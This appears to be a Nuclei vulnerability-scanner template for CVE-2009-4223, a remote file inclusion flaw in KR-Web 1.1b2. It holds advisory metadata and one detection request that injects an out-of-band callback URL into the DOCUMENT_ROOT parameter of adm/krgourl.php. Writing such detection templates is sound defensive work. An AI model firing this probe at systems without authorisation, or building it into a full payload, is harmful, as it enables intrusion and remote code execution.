id: CVE-2009-4223

info:
  name: KR-Web <=1.1b2 - Remote File Inclusion
  author: geeknik
  severity: high
  description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.
  impact: |
    An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.
  remediation: |
    Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395
    - http://www.exploit-db.com/exploits/10216
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4223
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4223
    cwe-id: CWE-94
    epss-score: 0.55507
    epss-percentile: 0.98938
    cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gianni_tommasi
    product: kr-php_web_content_server
  tags: cve,cve2009,krweb,rfi,edb,gianni_tommasi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 490a0046304402203b0f9bce10a1c52b4df577ef0e9db189f97f3b4cc2cb2b09d91487ed02a9ecd7022067882c0213b1cb87eeeca65d1690e7959473ae02518302e0453b2c98d6a92043:922c64590222798bb761d5b6d8e72950